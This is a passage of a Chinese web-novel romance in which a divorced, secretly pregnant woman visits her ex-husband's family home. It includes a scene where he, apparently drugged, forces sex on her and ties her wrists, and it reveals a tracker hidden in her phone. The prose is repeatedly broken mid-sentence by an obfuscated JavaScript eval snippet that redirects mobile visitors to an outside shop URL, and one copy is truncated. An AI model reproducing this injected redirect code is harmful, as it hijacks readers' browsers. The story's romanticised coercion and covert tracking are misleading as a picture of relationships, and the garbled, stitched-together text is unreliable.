许愿冷冷一笑。 她不只单纯想让傅京礼换掉车子。 她是在反击许宁,告诉她,脏的是她。 被她坐过的车,她留也不想留,只配丢掉! 见两人都沉默,许愿才含笑开口。 “这辆车算是我送给傅总的婚后礼物,离婚了,自然也没有存在的必要。” 她目光落到许宁身上,意味深长道:“想必许小姐也会送副总一辆新车,作为你们的新座驾。” 这辆卡宴价值百万。 只要想到这车的价格,许宁的脸就隐约有些发白。 纵然是被许镇江宠爱的女儿,可说到底这些年被养在外面,接触的人群不同,卡宴的价格果然还是惊到她了。 许宁眸光闪烁的随口应了句,踉跄离开。 许愿目光平和沉稳的看着许宁的背影,眼底尽是讥嘲。 “许愿,你有些过了。” 男人声音冷淡的开口。 “你觉得我过了吗?” 许愿抬眸,那双清冷莹润的眸中此刻却闪烁几分锐利锋芒。 “你是真的听不懂她说的那些,还是在装不懂,任由她羞辱我?” “傅京礼,我们结婚三年,我不觉得这三年我做过什么错事。哪怕我们之间没有爱情,最起码也有几分情分在其中。” “你要离婚,我同意了。你要我远离她,我也同意了。可事实却是,你的心上宠一而再再而三跑到我面前,不断地欺凌我!” “今天项目组开会时她闯进来说的那些话,你不会不明白是什么意思吧?” “她在车内提到脏掉的、被丢掉的,不也是在指代我?” 许愿落下这话,不禁笑了。 “你说她年纪小、不懂事,要我让着她,可你看看她都做了什么呢?” “你一定要我把话说得更明白些吗?她是我那个毫无伦理道德的父亲婚外情的产物,是放到社会上让人知道,也绝对会被唾骂的私生女。” “我作为许家原配留下的嫡女,却要被她这样的人欺辱,傅京礼,有这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617965|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理吗?” 今天一天,她真的受够了。 她何尝没有避着许宁? 可事实上,却是许宁凑上来到她面前。 今天那些话头,也是许宁主动挑起。 若非她的挑衅,像许宁这种人她根本看都懒得多看一眼,更不要提去针对她。 傅京礼沉默。 车内一时静下来。 彼此之间的呼吸声心跳声都能听得很清楚。 许久之后,男人终于开口。 “抱歉,是我考虑不周。” 许愿低头轻笑:“不,你不是考虑不周,你只是不在意我罢了。” “其实这没什么不对,毕竟从一开始你就对我没有感情,不是吗?” 许愿倏然抬眸,目光柔和却又带 着点凌厉。 “但即便没有感情,我也希望傅总看在我是你前妻的份上,给我留分体面。” 男人沉默,这次未再开口。 傅家老宅在a市中心地段最繁盛的区域,老宅并非是现代化设计的别墅庄园,倒是偏古风的四合院。 傅奶奶去世得早,傅老爷子便跟傅家的老管家住在这里的四合院,并不跟儿女们住在一起。 倒是傅京礼对这里也有很深的感情,作为傅老爷子最疼爱的孙子,便是在这里长大的。 能住在这一片的,都是在a市背景深厚的,不是家底雄厚就是官僚背景,一般人没有这地方的居住权。 车子驶进老宅院落。 即将下车前,男人目光触及她沉稳从容的面容,开口提醒:“你这样太僵硬,爷爷应该能看出来。” 这是要她继续在傅老爷子面前演戏作秀。 许愿敛了下眉,抽出一张湿巾擦拭着自己的唇瓣,直到将红唇擦拭得带了几分微微的肿意,她才停手。 “这样,爷爷应该不会怀疑了。” 此刻的她已经进入状态一般,眉眼柔和,唇瓣红肿,但五官却是精致明艳的,让人一眼就猜到不久前两人在车内做了什么。 见男人未回话,许愿就要下车。 下一刻,却被男人拽住手腕。 “下车前,先把项链摘了。” 第12章 她变了很多 摘掉项链? 听到这话,许愿其实还挺想笑的。 其实她一直都知道傅京礼占有欲极强,婚后哪怕是不爱她,也不会允许她身边有其他男人。 那时她为了讨好他一直体贴温柔,从不会明面上跟异性有过多接触。 可现在…… 他们都已经离婚了,傅京礼又是以什么身份要求她摘掉项链呢? 前夫凭什么让前妻摘掉爱慕者送的项链呢? 许愿抬眸看他,那双本该清冷的某种闪过极轻极浅的笑意,像是山间拂过的清风,清冽却又不带其他任何多余的情感。 只是如此平静的望着面前的男人。 “为什么要摘掉这条项链。” 许愿纤细的长指抚弄着自己脖颈上昂贵的红玛瑙项链,启唇开口。 “你不觉得我很适合这条项链吗?” 是。 她是真的很适合红色。 比起沉稳清冷的蓝色,她好像更适合那样宛若骄阳的热烈的红。 但,这是盛景炎送的。 男人眸光沉沉,手仍攥着她另一只手并未放开,声音带着几许明显的压迫。 “许愿,你要戴着这串其他男人送给你的项链去见爷爷?” 许愿眼尾上挑,她已经不再像以往那副乖顺模样,不再是家养的被驯服过的家猫。 傅京礼甚至能从这眼神中偶尔看出几分挑衅之意。 是的,挑衅。 “不可以吗。” “傅总,难道还需要我再提醒你一次吗?我们已经离婚了,我穿什么颜色的衣服,戴什么颜色的项链,甚至跟什么身份的人交往接触,那都已经是我的私事了。” “你已经无权过问,也无权插手。” 许愿脸上带着笑,胸口却仍传来隐隐的刺痛感。 她抬头看着面前男人冷峻的脸,逼着自己说出划清界限的话。 “前夫没有那么多的权利。” 手抵在男人胸口,她轻推了下。 “所以傅总,你现在可以放开我了。” 男人并未放开。 他目光仍落在她的脸上,像是看着她的笑,又像是透过她在观察其他。 她不清楚,也猜不透男人的内心,只能尝试性去反抗压制着自己的男人。 “许愿,摘掉这条项链,别让我再重复第三次。” 男人再度开口。 许愿轻笑一声,眼神里面都是坚定。 “傅总,我也再重复一次,作为我的前夫,你没有这么多权利干涉我的任何决定。” 她倏然逼近男人。 彼此之间脸颊对着脸颊,鼻尖贴着鼻尖,彼此之间的呼吸心跳仿佛都能隐约感觉到。 “傅爷爷看到了我的朋友圈,他以为这是你送给我的礼物,是一定会过问的。所以你确定要我现在摘掉这条项链吗,傅总。” 许愿发布的那条朋友圈,其实就已经算是对他的挑衅。 傅老爷子不仅看到了朋友圈,且还在下面点赞了。 今晚就要来老宅陪老爷子一起吃饭,老爷子怎么可能不提起这件事? 毕竟在老爷子眼里,这还是许愿真正意义上第一次在朋友圈晒出“傅京礼的礼物”。 傅京礼只觉可笑。 他的前妻戴着暧昧对象追求者送的项链,陪他这个前夫去见长辈。 “你变了很多。” 男人低语。 她不再是那个温顺听话的妻子。 离了婚的她,给人一种莫名的距离感,仿佛浑身的尖刺都竖起来。 许愿但笑不语。 她不是变了很多,其实她从未变过,她一直都是这样的性子。 只是傅京礼喜欢成熟稳重,能跟上他脚步的女性。 所以她才会压制自己的性子,这一压就是三年之久。 不知道他们关系的,会说傅京礼有个得体能干的下属。 知道他们关系的,会说傅京礼有个温婉居家的妻子。 可事实上,她幼稚、任性、骄纵、浑身都是尖刺,任谁也不能轻易靠近。 她不过是在这三年里,卸下了外在的防御,为了傅京礼,允许那些人的靠近。 她所做的一切,无非都是为了傅京礼。 但他什么都不知道,只会对她说“你变了很多。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617966|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他从未了解过她接触过她,连她喜欢什么颜色都不知道的男人,又怎可能了解她真正的内心? 也是。 傅京礼对她从没有任何感情,许宁才是他的心尖尖,她凭什么要求傅京礼了解她。 她抬眸。 面前的男人很好看,即便距离这样近,都能感觉到男人五官有多精致,那双深沉的黑眸更像是潜藏着耀眼星河。 她是真的……对他有感情的。 可惜,他终归不是属于她的。 “傅京礼,这才是真正的我。” 许愿唇角含笑,望着他吐出这句话。 男人顿了片刻,她却已然推开男人,打开车门下了车。 男人未开口,便已经听到许愿在车门外催促的声音。 “傅总,该下车了,爷爷已经等很久了。” 傅京礼敛眉,老宅的管家已经等候多时,见两人下车立刻笑呵呵的迎上来。 老宅的管家说是管家,倒不如说是傅老爷子多年好友。 早年傅老爷子也是有过红色背景的,那时老管家就是老爷子的副官。 只可惜老管家身边没什么亲人好友,所以傅老爷子一直让老管家跟自己住在一起。 “傅老等你们很久了,快进来。”老管家在前带路,还不忘夸了句,“少夫人这条项链很漂亮,很衬少夫人。” 许愿自然地回了句谢谢,倒是男人深深看了许愿一眼,目光轻飘飘的落到她脖颈那条项链上。 傅老爷子已经等久了,等两人来了就开饭。 也不算是多丰盛,只是家常便饭,让两人回来聚聚餐陪他这个老人。 餐桌上,傅老爷子也提到这条项链,忍不住夸了句。 “我早就告诉阿礼,女孩子都会喜欢些惊喜珠宝饰品的,他告诉我说你不喜欢这些外放张扬的东西。” “你看,现在你戴着这条项链,不就证明你很喜欢了?他呀,就是不懂女孩子。” 傅老爷子笑着:“好在,阿礼现在终于开窍了。” 傅老爷子提了句:“不过这项链也该配一条更合适的裙子才是,阿礼,你有时间带阿愿去店里转一转,多挑几件衣服。” 第13章 你清醒些 “一个女孩子,整天穿着正装怎么行。” 傅老爷子说风就是雨,雷厉风行道:“也别拖了,就明天,你带阿愿去店里多挑几件衣服。” 傅京礼顿了下,正要委婉拒绝,许愿便已经笑着摇了摇头。 “爷爷,我明天还有工作上的事要处理呢。” 他还未开口拒绝,倒是许愿先拒绝了? 傅京礼眸光沉了几分。 “工作上的事可以往后面拖一拖,明天我带你去和风买衣服。” “和风”是傅氏旗下一个高奢品牌,有专门的店面,在国内乃至世界上都排名靠前的高奢品牌,许多明星都来这里购买高定礼服。 其实真正的有钱人是不会去这种高奢店的,他们会收到店内传去的最新款照片,直接预留,亦或者让人送货上门。 不过现在傅老爷子开口了,他不介意陪许愿一次。 许愿微怔,实在不清楚老爷子的葫芦里卖什么药,他都这么说了,只好硬着头皮答应了。 “好好好,就该这样。” 傅老爷子高兴得脸上一直挂着笑意,他就喜欢看许愿和傅京礼之间如此亲密。 这顿饭吃到最后,傅老爷子还提出了跟孩子有关的事。 “阿愿,你和阿礼也是时候考虑生孩子的事了。” 这事,傅老爷子在他们结婚后就一直催促。 许愿神情陡然一僵,已经不知该做出什么表情什么动作。 只是手条件反射的落在自己的小腹上,仿佛这样就能触碰到那个还未出世的孩子一般。 “爷爷,这种事只能随缘。” 傅京礼正想开口拒绝,许愿却倏然握住男人宽厚的手掌,轻轻捏了下。 “爷爷,我和阿礼会努力的。” 傅老爷子这才又笑起来,还不忘数落傅京礼几句。 傅京礼面色平淡,待两人回到房间,男人脱掉外套搭在衣架,声音冷淡:“为什么要对爷爷说那些话。” 男人整理袖口,声音里透着明显的冷意。 “我们绝不可能有孩子。” “绝不可能”四个字让许愿身体僵在原地。 但也只是一瞬,她捂着自己的肚子轻声开口:“你跟爷爷说那么多,爷爷也听不进去的,他年纪大了,你哄哄他也好。” “拿这种不可能发生的事来哄骗他?” 傅京礼并不认同她的做法。 许愿眸光微暗:“我只是不希望你和爷爷发生争执。” “以后这种做不到的事,不必答应爷爷,这些是我未来和许宁要面对的,与你无关。” 他声音淡漠凉薄。 仿佛是在提醒她不要越界,清楚自己的身份。 他身边只会有一个许宁,不会再有她许愿。 “好,我记住了。” 许愿拿过床头早已备好的浴袍搭在手臂上,语气清浅的问了句:“那明天是不是也不用去和风了。” “这件事我既然已经答应了爷爷,就会带你去。”傅京礼声音仍然冷淡。 但其实,许愿心里清楚,傅京礼一定要带她去和风,无非是担心傅老爷子知道他们没有去店内罢了。 “好,我知道了。” 许愿应了一句,进了浴室。 打开花洒,由着热水打湿身体。 浴室内并不冷,可她却觉得浑身发冷,承受不住的倚靠在墙面,眼眸湿润蒙上一层淡淡的薄雾。 她清楚,自己是不能在这种时候哭的。 可她就是很难过。 能留在傅京礼身边三年已经很久了,可她就是不满足,就是想留在他身边更久。 惋惜能陪到他最后的不是自己,惋惜自己未出世的孩子。 跟傅京礼最初结婚的时候,男人就提到不会有孩子,打破了她对未来生活的幻想。 但这个孩子就是那么不凑巧的来了,说不清到底是有缘还是无缘。 偏偏是他们离婚后。 傅京礼说得那样轻巧,有了孩子会带她打掉,绝对不可能让她孕有他的孩子。 她也不想给男人带去任何麻烦,可她就是怀上了。 这三年来,两人一直都是小心翼翼的。 唯有那次男人出差回来后那样凶猛,甚至忘记安全措施,才有了肚子里的孩子。 这个孩子,又何其无辜? 甚至于它的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617967|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到来,都没有人期待…… 许愿脸色苍白,透过浴室内的镜子看到自己此刻苍凉的表情,实在可怜。 许愿微微抿唇,手落在小腹处。 才一个月左右,还未显怀,腰肢还很纤细,任谁也看不出这里有了孩子。 她很轻很轻的抚摸小腹。 她决定了,不论发生什么事,她都要留下这个孩子。 恍惚间,浴室的门倏然被推开,她吓得脸色愈发白了。 等看清来人是傅京礼,心跳得越来越快。 “你怎么突然进来,我还没洗好……” 傅京礼看着她落寞苦涩的脸,逼近,眯起了眼。 他突然低下头,对准她的唇就吻了下去。 她的后脑被他用力的挤在墙上,不等许愿反应过来,唇被他的唇咬 住了,火热的舌撬开她的唇齿重重吻着。 许愿惊讶的要推他,却推不动,被男人死死搂住纤细的腰肢。 握在她腰间的手向上,就隔着衣服握住了她的柔软。 他的大手贴着她心脏的位置,她感觉心脏都在发烫。 他干爽的气息充斥她的口腔,霸道又浓烈的吻让她根本无法反抗,甚至那些反抗都变得乖顺起来。 她不知不觉的迷失在他霸道的攻伐里,从头皮到脚趾都红透了。 渐渐地,他沿着她的唇角吻到耳垂,一路轻啜的来到颈窝、锁骨,灼烫的呼吸喷洒在她颈间。 许愿险些无法呼吸。 等反应过来,却看到自己被这样完全压制住。 她忍不住推着面前的男人:“傅京礼,你疯了!你知不知道我们已经离婚了!” 男人眸色发红,身体都在发烫。 他紧紧抱着她,下巴抵在她肩上,灼热的呼吸擦过耳垂边际,烫得她身体都在不停地抖。 她还有什么不明白的? 这分明是傅老爷子在他喝的东西里面加了点料,才会让他如此冲动。 身体贴得如此近,甚至能明显感受到傅京礼的冲动灼热。 “傅京礼!” 她在他耳边忍不住低声压着怒意:“我们已经离婚了,你清醒些!” 第14章 想要她 纵然知道自己此刻像是被傅京礼强迫,可跟他在一起三年,对他的感情不是轻易就能磨灭的。 此刻许愿只觉得自己心跳得又快又乱,清楚地感觉到他的靠近,却不敢抬头。 感觉到温热的唇落在她的鬓角,呼吸也跟着洒在了她的耳上,一片通红。 许愿的颈间生出了一点点的小鸡皮疙瘩,整个身体都已经软下来。 抵着男人胸膛的双手推了推,男人却岿然不动。 她声音带着颤音说:“傅京礼,你清醒点。” 傅京礼动也不动,嘴巴磨蹭着她的肌肤轻语:“热……” 许愿语塞,死咬着唇,身子颤得如筛子。 她是真的慌了。 男人感觉得到她轻微的反抗,身上那股浅淡的森雪气息几乎笼罩在她周身。 “许愿……” 男人声音低哑,明显夹杂着情欲。 她眼眶已经发红,能清晰的听到男人呢喃出她的名字。 “你既然知道我是许愿,那你该知道我们已经离婚了。你清醒点,我是许愿不是许宁,已经不是那个你能随意摆弄使用的发泄工具了。” 她喉间发堵。 药效折磨下,男人似乎是觉得她聒噪,重新压制着握住她的两条手臂,将她摁在墙上,再度吻住她喋喋不休的红唇。 她还想反抗,整个人却因为重心不稳摔到了男人的怀中。 脸轻磕到他的胸膛上,她此刻发烫的脑袋有些晕眩。 原本扶在她腰两侧的手带着灼人的烫意,突然向后移到她的后背。 男人的手炽热,此刻贴着她裸露的后背,激得她身体忍不住的抖动。 许愿跟着一颤,被他掌心的烫意灼到。 下一刻,男人也不给她反应的机会,突然将她紧紧地抱住,双臂牢牢地圈住了她的身子。 他抱得太紧了,紧得她发慌。 一股强烈到吓人的占有欲,无言的从他抱着她的力道上传递过来,她感觉到他的唇落在她的发上,贴着她的发向下吻着嗅着。 他的唇还贴着她的发,吻着她的耳廓、耳垂、到颈侧。 轻轻的吻让她发痒,也开始轻颤起来。 能感受到男人在嗅着她颈间的香味,那样轻微的触碰令她心尖发痒,拒绝的话在此刻也完全说不出口。 到底是在一起三年的男人,身体早就已经习惯他的占有触碰,她还能怎么拒绝? 许愿紧咬着牙,身子颤得特别无助,头埋在他的怀里,一句话也说不出来。 她埋在男人胸口,控制不住的声音轻颤:“傅京礼,你别这样。” 男人眸光愈发幽暗,他似乎是听不到她的拒绝,片刻后已经将人整个打横抱起。 许愿控制不住的惊呼出声。 下一秒,便被男人放置到床榻之上。 被男人压制在床上,她眼眶愈发红了。 待男人的大掌落在她小腹时,许愿整个人完全紧绷。 “不行,不可以……” 许愿挣扎着要走,下一刻却被男人拽住手腕重新带到身边,离不开逃不掉。 “为什么要逃?” 男人此刻仿佛恢复了些许理智。 他声音透着明显的沙哑之意,凉薄的唇贴在她耳侧。 她那么喜欢他,为什么要逃。 因为不能继续。 纵然…… 纵然她真的很想随着男人沉沦,可是她的腹中还有那个来得不凑巧的孩子。 傅京礼此刻这么疯,她真的担心会发生意外。 “傅京礼,你的爱人不是我。” 男人眸色晦暗,他垂眸,那双黑眸愈发幽暗。 “可我想要你。” 毕竟是三年,彼此之间的身体早已熟悉了。 像她无法抗拒他那般,傅京礼对她也有渴求。 此刻这样肌肤紧贴着还未做更多,身体就已经感受到愉悦。 纵然知道他们已经离婚,可潜意识还在告诉他,许愿是他的人,只能是他的人。 这次不再等许愿的回答,男人重新堵住她的唇舌,许是怕她再挣扎反抗,绑住她的手腕。 这场激烈的情事,一直到后半夜即将破晓时方才停下。 男人已经彻底发泄过,许愿躺在床上,身体酸涩得根本无法动弹。 她喉间干哑,出口的声音都是哑的。 她挣扎着下床,却因为一个不察险些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617968|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栽倒在地上,好在手臂撑着墙才没摔倒。 重新来到浴室,透过镜子看到自己此刻是个什么模样。 脸色发白,唇瓣红肿,脖颈上锁骨上都是男人留下的痕迹。 她拧开花洒,任由热水冲刷着身体。 手落在小腹,几乎无法站稳。 她逐渐清醒过来,甚至明白昨晚傅京礼为什么做到最后都没有停下。 因为他不爱她,就像往日只是拿她当做方便好用的工具。 所以才会如此肆无忌惮。 她笑意苦涩,发红的眼睛终于忍不住溢出泪水。 她坚持了三年的爱,好像在昨晚那一瞬土崩瓦解了。 他用他的残忍反击她,彻底抹杀掉她最后的爱意。 她不该再这样消沉,其实没什么大不了的,无非是跟前夫睡了一觉,他们已经睡过那么多次,多一次也无妨啊。 没什么的。 对,没什么的。 许愿像是暗中告诫自己。 她擦去眼角的泪水,身体带着点轻微颤意的走出浴室,换好自己的衣服。 此刻她甚至庆幸自己穿的是正装,所以能掩盖住一些自己的不适。 从头到尾,她都没有吵醒已经沉睡的傅京礼。 待她离开,男人紧闭的眼眸缓缓睁开。 他望着那扇已经关紧的房门看了许久,漆黑的瞳眸中闪过明显的异色。 …… 许愿离开傅家老宅时,天还没有完全亮。 不等她用软件打车,一辆火红色的跑车已然停在她身边。 “上车。” 来人正是盛景炎。 许愿愣住了,盛景炎一手握着方向盘笑道:“都说了要追求你,当然关注你的一举一动。本以为昨晚你会离开傅家老宅的,没想到……你会这个时间出来。” “上来,我送你回家。” 许愿眼睫微颤,她坐上副驾驶,开口:“谢谢,不过我现在不想回家。” 看向窗外,太阳即将升起了。 她像是很轻很轻的笑了下。 “盛景炎,陪我去看一场日出吧。” 当太阳升起,她就当一切……重新开始了。 第15章 你监视我? “你还挺有闲情逸致的。” 盛景炎懒懒散散的在车上伸了个懒腰,他看着其实并不怎么精神。 “不要告诉我,你为了等我一整晚都没有睡,这种话我可不信。” 许愿抱着手臂看他。 盛景炎偏了下头,车厢内有个资料箱,最上面那份已经有了他的批注。 他才真正接手盛家没多久,需要了解的东西还很多。 “你果然了解我。” 盛景炎长指敲打着方向盘。 所以,盛景炎只是来这里看资料,顺便等一等许愿。 盛景炎那张桀骜的脸上都显露出笑意,正想说什么,余光却瞥见她脖颈稍稍裸露在外的些许痕迹。 他能感觉到许愿此刻的情绪不稳。 稍稍一想,就猜到了原委。 盛景炎不着痕迹的避开目光,眼底笑意未减的转移话题。 “不是说想看日出吗?我知道有个地方太阳升起的时候会很漂亮,我带你去。” 带你去一个新的地方。 当作一切新的开始。 许愿恍惚了一瞬,片刻后才点头。 “好。” 两人离开后,许宁从暗处面无表情的走出,手几乎紧握成拳。 真不公平啊。 同样是许家的女儿,偏她许愿自小长在a市长大,接触到的都是傅京礼和盛景炎这种人。 即便现在她已经跟傅京礼离婚了,却还要陪着傅京礼继续欺骗傅老爷子,能回老宅…… 而她,却只能在外张望。 好不容易将许愿挤走,却马上来了个盛景炎。 她的命可真好。 不过既然许愿选择了盛景炎,那就不要再想着傅京礼了! 许宁立刻取出手机打给傅京礼。 等那边接通后,她的声音软软的:“阿礼,昨晚只要想到你和姐姐一起回了老宅,我就一直挂念得睡不着呢,我已经在老宅门口了……” 这句话才落下,许愿惊呼一声。 “阿礼,我看到姐姐上了一个陌生男人的车,姐姐不会出什么事吧?” 许愿确实上了男人的车,她这不算说谎。 电话那头的男人沉默许久:“我去找她。” 这次,轮到许宁沉默了。 她只想让傅京礼知道许愿跟别的野男人走了,并不想傅京礼去找她啊! 不过转念一想,等傅京礼找到许愿,却看到许愿跟盛景炎在一起,一定会对她非常失望,那他们之间就再也没以后了。 …… a市世家华府。 世家华府是盛景炎几年前在这里建立的一座小型庄园,在这里夜晚时抬头,能看到遍布夜空的星星,清晨能看到美丽的日出, 这算是他的秘密基地。 他们来到这里时,一朵两朵的烟花逐渐在夜幕最后一刻缓缓绽放。 烟花在夜幕中绽放,如同星辰坠落凡间,一束束光芒划破黑暗,绽放出五彩斑斓的花朵。它们在空中绽放,落下时犹如流星雨般璀璨。 许愿整个人惊了下,她有些无措的看向身旁的男人。 盛景炎对她露出笑意。 “鞭炮是驱逐年兽的,那我就当烟花是驱逐恐惧的好了。” “烟花送你,希望可以为你驱逐黑暗驱逐恐惧驱逐迷茫,为你迎来真正的新生。” 盛景炎单手插兜,姿态闲散潇洒,那双邪肆的眼眸都染上几许难得的温柔,也不知是对烟花还是对她。 许愿忍不住笑了。 “盛景炎,你这样的人说出这种话,真的很……很崩你的人设。” 盛景炎微微敛眉,目光落在她的脸上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617969|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我的人设大概是……肆无忌惮?” 许愿眉眼弯弯的。 目光再次转向那些烟花。 随着最后一束烟花的消散,渐渐地,东方的地平线上泛起了鱼肚白,预示着新的一天即将来临。 天空开始染上了淡淡的橙黄色,云朵被阳光染成了金色的边缘,仿佛是大自然的画笔轻轻勾勒出的轮廓。 在这样的清晨,一切都显得那么宁静而美好。 许愿心尖忍不住的轻微颤动。 她缓缓闭上眼睛,涌动的情感如同潮水般,冲刷着往日的疲惫与忧伤。 再度睁开眼睛时,眼底的脆弱迷茫仿佛已经消失不见。 阳光斜洒在她的侧脸,映衬出眼底的深邃。 就像盛景炎说的。 为她迎来新生。 两人笼罩在清晨的阳光中,微弱的光芒照射在两人身上,像是将两人与周身一切隔绝开来,自成一片天地。 傅京礼赶到时,看的就是这样一幕。 许愿和盛景炎在璀璨烟花下眺望未来,在温暖阳光下对视,互诉情意。 他以为许愿真的跟什么陌生男人离开。 没想到,那人竟是盛景炎。 不久前,她才在他的床上跟他喘息缠绵,离开后就上了盛景炎的车? 来到这种地方,像是早就约好了看烟花看日出,倒衬得他成了笑话。 傅京礼眸色沉沉,许宁紧跟在他身边,看到这场景眼神忍不住闪烁。 “姐姐,没想到你这么有兴致跟盛二少见面看烟花看日出。阿礼可是担心你出事,找了你很久呢!” 她突兀的声音打破寂静,就连在不远处大树上盘旋而立的鸟类,也叫了两声飞身离开。 许愿皱眉转身,声音里面都带着些许沉郁。 “傅京礼,你监视我。” 第16章 怀孕了对吗? 她才离开傅家老宅,这里又是盛景炎的秘密基地,傅京礼凭什么这么快就找到这地方? 如果不是监视,还能是什么? 许愿眸光都跟着暗了几分。 不。 说不定不是监视,而是一早就在她身上装了追踪器。 能安装追踪器的东西……而她还经常性带在身边的,那就只有手机了。 许愿取出自己的手机,抬眸看向傅京礼。 “追踪器在里面,对吗?” 傅京礼并未言语,盛景炎唇角含笑的接过许愿的手机:“许经理,介意我打开你的手机吗。” 许愿摇了摇头,将手机递了过去。 盛景炎动作利落的拆开手机,果然看到里面有定位追踪器,他摘下来放在手里掂量把玩了下。 “两年前的品牌了,看来这定位追踪器装了挺长时间的。” 盛景炎脸上挂着笑,只是这笑透露着明显的冷意。 “傅总在许小姐的手机里面放这种东西,难道是担心她在这段婚姻中背叛你吗。” “其实挺多余的。” 盛景炎将定位器丢给傅京礼,傅京礼眼眸冰冷的看向他。 盛景炎做出一副无害模样,把玩了下许愿的手机,才还给她。 许愿那双清润的眼眸此刻已经毫无波澜,可以说在傅京礼出现的时候,她的眼睛里就已经没了星光。 “惊蛰回来了,跟我去一趟医院,惊蛰会为你检查身体。” 傅京礼转开话题,不再提定位追踪器的事。 江惊蛰,a市医药世家江家继承人,a市贵族医院云尚的现任院长。 自幼年就展露出出色的医药天赋,不仅学习了祖传的中医药,也出国留学学习了西医,算是远近闻名的天才医师。 哪怕是到国外,也要被人称呼一句江老师。 他与傅京礼自小一起长大,跟许愿只能说是工作上曾有接触,因傅京礼的原因才跟她算是朋友,但其实两人接触不算多。 许愿和江惊蛰最近的一次聊天,还是很久前傅京礼生日,她询问傅京礼最近喜欢什么、几点回家这类的信息,再无其他。 倒是江惊蛰会经常转发一些网络上的搞笑段子分享过来,不过江惊蛰也提过自己是不小心的,因为经常工作没时间陪伴家中老人,所以转发这些逗老人开心的。 总之,江惊蛰这人,严谨,幽默,礼貌却又带着明显界限,并不是个好接近的人。 现在傅京礼让江惊蛰为她检查身体…… 如果他查出她怀孕的事,会帮她瞒着吗? 许愿敛眉,却并未让自己脸上有什么多余的引人怀疑的表情。 傅京礼让许宁自己先去公司,才带着许愿去云尚。 江惊蛰换下了身上的白大褂,身上穿着件黑色衬衣,正坐在办公室内的软椅上,伸手摁捏着鼻梁,似是有些疲累。 “不好意思,半夜环江区发生车祸,我刚下手术室,让我缓一下。” 他才从国外回来,而发生车祸的又是江家老爷子的熟识好友,一定要他主刀,他也是现在刚下手术台。 许愿自然是想将时间拖得久一些。 江惊蛰缓了约莫十分钟,他泡了壶清茶。 他的手很好看,指甲剪得干干净净,十指修长,骨节分明。 由着他闲散娴熟的动作,清澈的茶汤缓缓流入釉色极好的青色茶盏中。 淡雅的茶香瞬间四溢。 “我听宋野说……” 他撩了下眼皮,温润的浅棕色瞳眸落在两人身上,注意到两人之间隔着很远的距离,不由笑了笑:“你们离婚了?” 许愿双手紧握。 她看着面前温润的男人,开口:“我们之间本来也只能算是合作结婚,迟早会分开,不过是早晚的问题。” “是这样啊。” 江惊蛰悠然的品了口茶。 “你们自己的决定,我不会横加干涉,只希望你们未来不要后悔就好。” 江惊蛰脸上一直带着温柔的笑意。 话落,一杯茶已经被他喝尽,仿佛此刻已经卸去了疲劳。 “许小姐,走吧。” 傅京礼正要跟上,江惊蛰却笑了笑拒绝他。 “阿礼,你不必跟来。你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 